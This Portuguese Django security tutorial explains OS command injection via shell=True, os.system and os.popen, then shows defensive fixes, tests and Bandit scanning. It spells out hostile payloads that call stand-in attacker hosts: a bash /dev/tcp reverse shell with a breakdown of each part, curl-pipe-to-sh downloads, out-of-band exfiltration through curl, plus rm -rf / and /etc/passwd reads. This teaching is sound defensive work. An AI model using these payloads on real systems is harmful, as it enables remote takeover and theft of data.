Injeção de Comandos OS: subprocess, os.system e os Perigos de Shell=True
Django Security Series — Post 4 | Série I: Ataques de Injeção
OWASP A03:2021 — Injection | Tempo de leitura: ~14 min
O Post 1 desta série abordou SQL Injection — dados não confiáveis quebrando a barreira entre a estrutura SQL e uma consulta ao banco de dados. O Post 2 abordou XSS — a mesma quebra de barreira na camada HTML do navegador. O Post 3 abordou SSTI — a quebra no motor de templates, em que a recompensa escala para Execução Remota de Código no servidor. O Post 4 fecha o núcleo da tríade de RCE removendo a última camada de indireção: Injeção de Comandos OS, em que a entrada do usuário alcança o shell do sistema operacional diretamente. O SQL Injection atinge o banco de dados, o SSTI atinge o motor de templates e depois o OS pelo grafo de objetos Python, e a injeção de comandos atinge o shell sem nada no meio. O raio de impacto cresce a cada passo, e aqui ele é o host inteiro.
A razão pela qual desenvolvedores Django encontram esse ataque é banal: aplicações web invocam programas externos para trabalho legítimo o tempo todo. Redimensionar um avatar enviado com o ImageMagick, renderizar uma fatura em PDF com o wkhtmltopdf, extrair um arquivo enviado, rodar um comando git em um painel interno, executar um ping numa ferramenta de diagnóstico de rede — cada uma dessas operações é uma chamada a um programa externo, e toda chamada externa que constrói seu comando a partir de entrada do usuário é um ponto de injeção em potencial. Diferente do SQL, em que o ORM do Django parametriza as queries para você, não há nenhuma camada do framework que parametrize um comando de shell. A proteção é inteiramente uma questão de como você invoca o subprocesso.
No centro deste post está um único argumento: shell=True. É o parâmetro mais mal utilizado no desenvolvimento web em Python. Ele existe por uma conveniência genuína — permite escrever um comando como uma única string e usar recursos do shell como pipes e redirecionamentos — e essa conveniência é exatamente o que o torna perigoso, porque o mesmo shell que interpreta seu pipe também interpreta o ponto e vírgula do atacante. Neste post veremos como a injeção de comandos funciona no nível do shell, por que shell=True converte entrada do usuário em comandos executáveis, como encontrar cada ponto de chamada vulnerável em um projeto Django, e como migrar cada padrão para a forma segura shell=False.
O Ataque: O Que É e Como Funciona
A injeção de comandos ocorre quando dados controlados pelo usuário são incluídos em uma string que é passada a um shell do sistema operacional, fazendo o shell interpretar parte dessa entrada como comando em vez de dado. A causa raiz é idêntica à do SQL Injection — confusão entre dado e código em uma fronteira de interpretador — mas o interpretador agora é o shell do OS (/bin/sh no Linux, cmd.exe no Windows) em vez de um motor de banco de dados. E enquanto um motor de banco de dados só consegue tocar o banco, o shell consegue tocar tudo o que o processo web alcança: o sistema de arquivos, a rede, variáveis de ambiente contendo segredos, e qualquer outro binário no host.
O mecanismo depende dos metacaracteres de shell — caracteres que um shell trata como sintaxe de controle em vez de texto literal. Quando entrada do usuário é concatenada em uma string de comando e entregue a um shell, qualquer metacaractere nessa entrada é interpretado pelo shell:
| Metacaractere | O que o shell faz com ele | Exemplo |
|---|---|---|
; |
Separador de comandos — executa o próximo comando incondicionalmente | photo.jpg; rm -rf / |
&& |
Executa o próximo comando apenas se o primeiro tiver sucesso | photo.jpg && curl evil.sh \| sh |
\|\| |
Executa o próximo comando apenas se o primeiro falhar | nope \|\| cat /etc/passwd |
\| |
Pipe — envia a saída de um comando para o próximo | photo.jpg \| nc attacker 4444 |
$(...) |
Substituição de comando — executa o comando interno e insere sua saída | $(whoami) |
`...` |
Substituição de comando com crase (sintaxe antiga) | `id` |
> / >> |
Redireciona a saída para um arquivo (sobrescreve / anexa) | x > /var/www/shell.php |
& |
Executa o comando em segundo plano | sleep 30 & |
nova linha (\n) |
Atua como separador de comandos | photo.jpg\nrm -rf / |
No Windows os operadores diferem ligeiramente (&, &&, ||, |, e a expansão %VAR%), mas o princípio é idêntico: o shell analisa a string antes que qualquer programa rode.
os.system, subprocess e os.popen
Antes de ver o exploit, ajuda saber exatamente quais chamadas do Python entregam dados a um shell, porque é aí que a vulnerabilidade vive. O Python oferece várias formas de executar um programa externo, e a diferença de segurança entre elas se resume a uma única pergunta: há um shell envolvido e quem divide o comando em argumentos separados?
os.system(cmd) recebe uma string e a entrega ao shell do sistema (/bin/sh -c "<cmd>" no Linux, cmd.exe /c no Windows). É o shell — não o Python — que decide onde cada argumento começa e termina, e é exatamente isso que permite que o ; ou o | do atacante sejam lidos como sintaxe em vez de texto. os.popen(cmd) faz o mesmo e ainda devolve um objeto semelhante a um arquivo para ler a saída do comando. Nenhuma das duas funções tem um modo que dispense o shell — o shell está sempre no caminho —, então ambas devem ser tratadas como legado.
O subprocess é mais seguro porque pode executar um programa de duas formas bem diferentes:
| Como você chama | Shell envolvido? | Quem analisa os argumentos |
|---|---|---|
subprocess.run("convert " + f, shell=True) |
Sim — /bin/sh -c ... |
O shell — metacaracteres ativos |
subprocess.run(["convert", f]) |
Não — shell=False (o padrão) |
O Python passa a lista direto ao SO |
Quando você passa uma string com shell=True, o subprocess se comporta exatamente como o os.system: o shell analisa a string e todo metacaractere em f é perigoso. Quando você passa uma lista de argumentos com o padrão shell=False, não há shell algum — o Python chama diretamente a família exec do sistema operacional, e cada elemento da lista vira um argumento, literalmente. Um ; dentro de f é então apenas um caractere em um nome de arquivo, nunca um separador de comandos.
Esse segundo modo é toda a razão pela qual o caminho seguro sempre usa subprocess com uma lista de argumentos — e por que os.system e os.popen, que não têm esse modo, devem ser considerados legado. O exploit abaixo usa o primeiro modo, o perigoso.
Como os Atacantes Exploram
# INSEGURO — endpoint de conversão de imagem, filename vindo da query string
import subprocess
from django.http import HttpResponse
def convert_image(request):
filename = request.GET.get('file', '')
# A f-string coloca a entrada do atacante diretamente na linha de comando do shell.
subprocess.run(f"convert {filename} /var/thumbs/output.jpg", shell=True)
return HttpResponse("Converted")
Uma requisição a /convert/?file=photo.jpg;id faz o shell rodar convert photo.jpg /var/thumbs/output.jpg seguido de id. Se a saída do comando for refletida em qualquer lugar da resposta ou dos logs, o atacante lê uid=33(www-data) gid=33(www-data) e confirmou a execução de código sob o usuário do processo web.
[MITRE] A técnica-pai é T1059 — Command and Scripting Interpreter. Em deployments Django no Linux/macOS a sub-técnica relevante é T1059.004 — Unix Shell; no Windows é T1059.003 — Windows Command Shell. Quando o comando injetado é usado para obter acesso inicial a um serviço voltado ao público, T1190 — Exploit Public-Facing Application também se aplica.
Exploração Passo a Passo
Percorrer o mesmo endpoint em um exploit completo mostra como um único parâmetro de query escala para uma posição dentro do host:
- Uma view Django recebe um parâmetro
filenamedo usuário — por exemplo, o nome de uma imagem enviada para ser convertida. - A view constrói um comando com uma f-string e o executa através de um shell, exatamente como no código acima:
subprocess.run(f"convert {filename} output.jpg", shell=True). - O atacante envia
photo.jpg; cat /etc/passwd > /tmp/leak.txtcomo nome do arquivo. - O shell recebe
convert photo.jpg output.jpg; cat /etc/passwd > /tmp/leak.txte analisa o;como separador — ele executa a conversão e em seguida despeja o arquivo de senhas em um local legível por todos. - O atacante recupera o
/tmp/leak.txtpor outro endpoint — ou, mais comumente, dispensa o arquivo por completo e substitui por um payload de reverse shell que se conecta de volta a uma máquina que ele controla.
A mesma view é explorável para controle interativo completo, não apenas vazamento de arquivo. Um payload como photo.jpg; bash -i >& /dev/tcp/attacker.example/4444 0>&1 monta um reverse shell (shell reverso) — em vez de o atacante se conectar ao servidor, é o servidor que disca de volta para o atacante, o que é exatamente o que permite driblar regras de firewall de entrada que bloqueiam conexões de chegada. Cada parte cumpre um papel:
photo.jpg;— o nome de arquivo inofensivo que a view espera; em seguida o;encerra o comandoconvertpretendido e inicia um novo.bash -i— inicia um shell Bash interativo (o modo interativo o mantém lendo comandos e exibindo prompts, como uma sessão de terminal faria)./dev/tcp/attacker.example/4444— não é um arquivo real, e sim um pseudo-dispositivo embutido do Bash: referenciar esse caminho faz o Bash abrir uma conexão TCP para o host do atacante na porta4444, onde o atacante já está escutando (por exemplo, comnc -lvnp 4444).>&— redireciona a saída padrão e a saída de erro do shell para essa conexão TCP, de modo que tudo o que o shell imprime viaja até o atacante.0>&1— redireciona a entrada padrão (descritor de arquivo0) para a mesma conexão, de modo que tudo o que o atacante digita é alimentado de volta ao shell como comandos.
Interligados, a entrada e a saída do shell ficam ambas ligadas ao socket do atacante, dando a ele um prompt interativo ao vivo no servidor. A partir daí, a aplicação web deixa de ser o alvo: o host é.
Injeção de Comandos Cega (Blind)
Quando a saída do comando injetado não é retornada em nenhum lugar da resposta HTTP — comum em manipuladores de upload e jobs em segundo plano — o atacante não consegue ler os resultados diretamente. Duas técnicas resolvem isso:
- Detecção out-of-band (OOB). O payload faz o servidor alcançar um host controlado pelo atacante:
photo.jpg; curl https://attacker.example/$(whoami). O atacante observa a consulta DNS ou requisição HTTP de entrada em um serviço colaborador (Burp Collaborator, uma instância interactsh auto-hospedada) — confirmando a execução e exfiltrando a saída do comando através do hostname. - Detecção baseada em tempo. Quando até conexões de rede de saída estão bloqueadas, o payload injeta um atraso:
photo.jpg; sleep 5. Se a resposta levar cinco segundos a mais que a linha de base, o comando foi executado. Essa é a mesma técnica de inferência baseada em tempo usada no Blind SQL Injection (Post 1).
Incidente do Mundo Real: ImageTragick — CVE-2016-3714
Em maio de 2016, um conjunto de vulnerabilidades críticas no ImageMagick — o kit de processamento de imagens do qual uma fração enorme da web dependia para gerar miniaturas e converter formatos — foi divulgado sob o nome coletivo ImageTragick. O problema de destaque, CVE-2016-3714, era uma falha de injeção de comandos OS: o ImageMagick determinava como processar um arquivo em parte a partir de seu conteúdo, e vários de seus manipuladores "delegate" construíam comandos de shell a partir de valores embutidos na imagem. Um arquivo maliciosamente criado com uma URL https:// contendo metacaracteres de shell em seu nome ou campos fazia o ImageMagick executar comandos do atacante no servidor durante o que a aplicação julgava ser um redimensionamento inofensivo. A falha tinha pontuação CVSS de 8.4 (Alta), e exploits funcionais circularam publicamente em cerca de um dia após a divulgação.
A razão pela qual isso importa para desenvolvedores Django é que a vulnerabilidade não estava no código da aplicação web — estava em uma dependência que as aplicações chamavam. Qualquer aplicação Django, Rails, PHP ou Node com um endpoint de upload que passasse imagens do usuário ao ImageMagick (diretamente, ou indiretamente via wkhtmltopdf e ferramentas similares) estava exposta, e centenas foram comprometidas. MITRE ATT&CK T1190 (Exploit Public-Facing Application) mapeia o acesso inicial. A lição é precisa: toda chamada a um processo externo é uma superfície de injeção, tanto pelos argumentos que você passa quanto pelo que o binário invocado faz com eles. Usar shell=False com uma lista de argumentos validada não teria, por si só, fechado essa CVE específica — o bug vivia dentro do ImageMagick — mas a disciplina que esse hábito impõe (saber exatamente o que você entrega a cada binário externo, validar uploads, e preferir uma biblioteca nativa em Python a um shell-out) é a mesma disciplina que contém o dano. A remediação amplamente adotada foi um policy.xml de hardening que desabilitava os delegates vulneráveis, além de mover o trabalho de imagens para bibliotecas mais seguras.
Fonte: ImageTragick — CVE-2016-3714 e vulnerabilidades relacionadas
Proteções Padrão do Django
O Django não oferece nenhuma proteção automática contra injeção de comandos. Esse é o ajuste mental crítico depois dos Posts 1–3. O ORM parametriza SQL, o motor de templates faz auto-escape de HTML, e a DTL se recusa a avaliar expressões — mas nada no Django parametriza ou sanitiza um comando de shell, porque invocar o shell não é uma responsabilidade do framework. No momento em que seu código chama subprocess, os.system ou os.popen, você saiu da superfície protetora do Django e passa a ser o único responsável pela segurança dessa chamada.
O próprio checklist de deploy do Django e a documentação do subprocess alertam explicitamente contra shell=True com entrada não confiável, mas isso é orientação — não existe uma configuração que o bloqueie. Os controles de nível Django que de fato ajudam são controles de acesso que limitam quem pode alcançar as views que invocam o shell: @login_required, @permission_required e @staff_member_required reduzem a população de usuários que podem sequer tentar uma injeção. Eles são uma valiosa defesa em profundidade — uma ferramenta de diagnóstico interna atrás de @staff_member_required tem uma superfície de ataque muito menor que um endpoint público — mas não são uma correção. Um usuário autenticado, uma conta comprometida, ou um atacante que alcance a view por uma falha separada ainda injeta em um comando não sanitizado. O controle de acesso estreita a porta; não tranca a vulnerabilidade.
Padrão Vulnerável: O Que NÃO Fazer
Padrão 1 — Comando com f-string e shell=True
O caso clássico: construir uma linha de comando interpolando entrada do usuário e executá-la através de um shell.
# INSEGURO — f-string com entrada do usuário e shell=True
import subprocess
from django.http import HttpResponse
def make_thumbnail(request):
filename = request.GET.get('file', '')
subprocess.run(f"convert {filename} -resize 200x200 thumb.jpg", shell=True)
return HttpResponse("Thumbnail created")
Payload de ataque: file=x.jpg; curl https://attacker.example/s.sh | sh — baixa e executa um script arbitrário. A flag shell=True faz o /bin/sh analisar a string inteira, então o ; e o | são respeitados como operadores de shell.
Padrão 2 — Concatenação de String com os.system
os.system sempre usa um shell; não há modo seguro. Concatenar entrada do usuário nele é incondicionalmente perigoso.
# INSEGURO — concatenação direta passada para os.system
import os
from django.http import HttpResponse
def ping_host(request):
host = request.POST.get('host', '')
os.system("ping -c 1 " + host) # os.system sempre invoca /bin/sh
return HttpResponse("Pinged")
Payload de ataque: host=8.8.8.8; cat /etc/passwd — roda o ping e depois lê o arquivo de senhas. Uma funcionalidade de diagnóstico de rede como esta é extremamente comum em ferramentas administrativas internas, e é um dos sinks de injeção de comandos mais frequentemente explorados em aplicações reais.
Padrão 3 — Ferramenta Interna Onde a Entrada "Vem de Código Confiável"
A variante mais insidiosa: um valor que parece confiável porque não é digitado diretamente por um usuário anônimo, mas que na verdade é influenciável pelo atacante.
# INSEGURO — username parece "interno" mas é controlado pelo atacante no cadastro
import subprocess
def audit_user_commits(username):
# username veio do banco de dados, então parece seguro — mas o usuário o escolheu
result = subprocess.Popen(
"git log --author=" + username,
shell=True,
stdout=subprocess.PIPE,
)
return result.communicate()[0]
O erro é tratar shell=True como uma conveniência cujo risco só vem de entrada obviamente externa. Aqui o username foi escolhido pelo usuário no cadastro. Um atacante que registra uma conta chamada x; curl attacker.example | sh planta um payload de injeção de comandos que dispara sempre que um admin roda essa ferramenta de auditoria interna: a string de comando vira git log --author=x; curl attacker.example | sh, que o shell interpreta como dois comandos. Ferramentas internas com shell=True são exatamente tão perigosas quanto as públicas no momento em que qualquer conta ou fonte de dados a montante é influenciável pelo atacante.
Implementação Segura: O Jeito Django
Regra 1 — Sempre Use shell=False com uma Lista de Argumentos
Este é o controle mais importante. Quando você passa uma lista de argumentos e deixa o shell=True de fora (o padrão), nenhum shell é envolvido — o Python invoca o binário-alvo diretamente via o execve do sistema operacional, e cada elemento da lista é passado como um argumento literal. Os metacaracteres de shell perdem todo o significado porque não há shell para interpretá-los.
# SEGURO — lista de argumentos, sem shell; metacaracteres são inertes
import subprocess
from django.http import HttpResponse
def make_thumbnail(request):
filename = request.GET.get('file', '')
# filename é passado literalmente como um único argumento para o `convert`.
# Se filename for "x.jpg; rm -rf /", o convert simplesmente não encontra um
# arquivo chamado literalmente "x.jpg; rm -rf /" — nada é executado como comando.
subprocess.run(
["convert", filename, "-resize", "200x200", "thumb.jpg"],
shell=False, # o padrão, declarado aqui por clareza
timeout=30,
)
return HttpResponse("Thumbnail created")
Com a forma de lista de argumentos, x.jpg; rm -rf / é entregue ao convert como uma única string de nome de arquivo. Não há análise de ;, não há segundo comando — o pior caso é o convert reportar um arquivo inexistente.
Regra 2 — Valide a Entrada Antes de Ela Chegar ao Subprocesso
shell=False impede a interpretação do shell, mas um valor ainda pode ser um argumento malicioso (por exemplo, um nome de arquivo começando com - que o binário-alvo lê como uma opção, ou um caminho que escapa do diretório pretendido). Valide antes de chamar:
# SEGURO — valide o caminho e a extensão antes de invocar o shell
import subprocess
import pathlib
from django.http import HttpResponse, HttpResponseBadRequest
UPLOAD_DIR = pathlib.Path("/srv/app/uploads").resolve()
ALLOWED_SUFFIXES = {".jpg", ".jpeg", ".png"}
def make_thumbnail(request):
raw = request.GET.get('file', '')
candidate = (UPLOAD_DIR / raw).resolve()
# 1. Confine o caminho resolvido ao diretório de upload (bloqueia travessia ../).
if not candidate.is_relative_to(UPLOAD_DIR):
return HttpResponseBadRequest("Invalid path")
# 2. Allowlist da extensão.
if candidate.suffix.lower() not in ALLOWED_SUFFIXES:
return HttpResponseBadRequest("Unsupported file type")
# 3. O arquivo precisa realmente existir.
if not candidate.is_file():
return HttpResponseBadRequest("File not found")
subprocess.run(["convert", str(candidate), "thumb.jpg"], timeout=30)
return HttpResponse("Thumbnail created")
O tipo real do arquivo deve ser confirmado por inspeção de conteúdo (python-magic) em vez de apenas pela extensão — isso é abordado em profundidade no post de upload de arquivos mais adiante na série (→ Post 27). O separador -- (convert -- filename) também vale a pena adicionar onde um binário o suporta, para impedir que um nome de arquivo iniciado com hífen seja lido como flag.
Regra 3 — Prefira uma Biblioteca Nativa em Python a Invocar o Shell
A correção mais robusta é remover a chamada ao shell por completo. A maioria das tarefas comuns de shell-out tem uma biblioteca Python madura que roda em processo, sem binário externo e sem linha de comando para injetar.
# SEGURO — Pillow redimensiona em processo; sem subprocess, sem shell, sem superfície de injeção
from PIL import Image
from django.http import HttpResponse
def make_thumbnail(request):
filename = request.GET.get('file', '')
# (a validação de caminho da Regra 2 ainda se aplica aqui)
with Image.open(filename) as img:
img.thumbnail((200, 200))
img.save("thumb.jpg")
return HttpResponse("Thumbnail created")
Substitua shell-outs do ImageMagick por Pillow, o wkhtmltopdf por WeasyPrint ou ReportLab, chamadas ao CLI do git por GitPython ou pygit2, e a extração de arquivos pelos módulos zipfile/tarfile da biblioteca padrão (validando os caminhos dos membros para evitar a variante zip-slip da travessia de caminho). Se não houver biblioteca e você precisar invocar o shell, as Regras 1 e 2 são obrigatórias.
Regra 4 — Defina um Timeout em Toda Chamada de Subprocesso
Um argumento timeout limita quanto tempo o processo filho pode rodar, o que contém tanto payloads de negação de serviço do tipo sleep injetado quanto binários externos que travam em entradas malformadas.
# SEGURO — um timeout evita exaustão de recursos por um comando travado ou injetado
import subprocess
try:
subprocess.run(["convert", filename, "thumb.jpg"], timeout=30, check=True)
except subprocess.TimeoutExpired:
# Logue e falhe fechando — não deixe a requisição pendurada
...
A regra invariante: se uma biblioteca Python pode fazer o trabalho, use a biblioteca. Se você precisa invocar o shell, shell=False com uma lista de argumentos não é opcional — é o mínimo.
Checklist de Prevenção de Injeção de Comandos
| Controle | O que cobre |
|---|---|
shell=False com uma lista de argumentos |
O principal vetor de injeção de comandos — sem shell, os metacaracteres na entrada do usuário ficam inertes |
Validação de entrada (pathlib, allowlist de extensão, checagem de MIME) |
Argumentos maliciosos que sobrevivem ao shell=False — travessia de caminho, injeção de opção via - inicial, tipos de arquivo errados |
| Biblioteca nativa em Python em vez de invocar o shell | Elimina a linha de comando externa por completo — sem subprocess, sem superfície de injeção |
timeout= em toda chamada de subprocesso |
Negação de serviço por payloads sleep/travamento injetados e binários que estagnam em entradas ruins |
Controle de acesso nas views que invocam o shell (@permission_required) |
Reduz a população que pode alcançar a view — defesa em profundidade, não uma correção |
bandit no CI (sinaliza B602 / shell=True) |
Impede que novos pontos de chamada com shell=True cheguem à produção |
Testando Sua Defesa
Testes Unitários
# blog/tests.py
from django.test import TestCase
class CommandInjectionTests(TestCase):
def test_separator_payload_does_not_execute(self):
"""Um nome de arquivo contendo um separador de shell não deve rodar um
segundo comando. Com shell=False a resposta não deve conter a saída de
`id` (uid=)."""
response = self.client.get('/convert/', {'file': 'x.jpg; id'})
self.assertNotIn(b'uid=', response.content)
def test_substitution_payload_does_not_execute(self):
"""A substituição de comando $(...) deve ser tratada como um nome de
arquivo literal, nunca executada."""
response = self.client.get('/convert/', {'file': '$(whoami)'})
self.assertNotIn(b'root', response.content)
def test_time_based_payload_does_not_delay(self):
"""Um `sleep 5` injetado não deve atrasar a resposta — provando que nenhum
shell avaliou os metacaracteres."""
import time
start = time.monotonic()
self.client.get('/convert/', {'file': 'x.jpg; sleep 5'})
self.assertLess(time.monotonic() - start, 2.0)
Verificação Manual
# Sonda baseada em tempo — se a resposta levar ~5s a mais, o shell rodou `sleep`.
time curl "https://staging.example.com/convert/?file=x.jpg;sleep+5"
# Sonda de separador — procure a saída de `id` (uid=...) em qualquer lugar da resposta.
curl "https://staging.example.com/convert/?file=x.jpg;id"
Análise Estática no CI
Bandit é a ferramenta SAST padrão para Python e sinaliza shell=True como a regra B602 (e o uso de os.system/os.popen sob regras relacionadas). Adicione-a ao pipeline para que nenhum novo ponto de chamada vulnerável seja mesclado:
pip install bandit
# Falha o build se qualquer chamada de subprocess usar shell=True
bandit -r blog/ blogtech/
# Um grep rápido é um bom backstop de pre-commit
grep -rn "shell=True" blog/ blogtech/
O Post 4 completa o núcleo da injeção. O SQL Injection invade o banco de dados, o SSTI invade o motor de templates e depois o host, e a injeção de comandos alcança o shell do OS sem nenhuma camada no meio — o caminho mais direto para RCE da série. O hábito a carregar adiante é um único reflexo: trate cada chamada a subprocess, os.system e os.popen da mesma forma que você agora trata cursor.execute(raw_sql) e Template(user_input) — um ponto de parada em code review que precisa ser justificado, com shell=True em entrada não confiável bloqueando o merge de imediato.
O Post 5 permanece na família da injeção, mas muda de interpretador: Injeção LDAP, em que a barreira quebrada é a sintaxe de consulta de um serviço de diretório corporativo — o backend de autenticação ao qual muitos deployments Django empresariais se conectam para single sign-on.
Leitura Complementar
- Python Docs — subprocess: Security Considerations
- Django Docs — Security in Django
- PortSwigger Web Security Academy — OS command injection
- OWASP — Command Injection
- MITRE ATT&CK — T1059 Command and Scripting Interpreter
- ImageTragick — CVE-2016-3714
- Bandit — B602: subprocess call with shell=True
- OWASP A03:2021 — Injection
- Web Security for Developers: Real Threats, Practical Defense (Malcolm McDonald, No Starch Press) — Capítulo 6: Injection Attacks
Próximo na série → Post 5: Injeção LDAP: Atacando Serviços de Diretório via Autenticação Django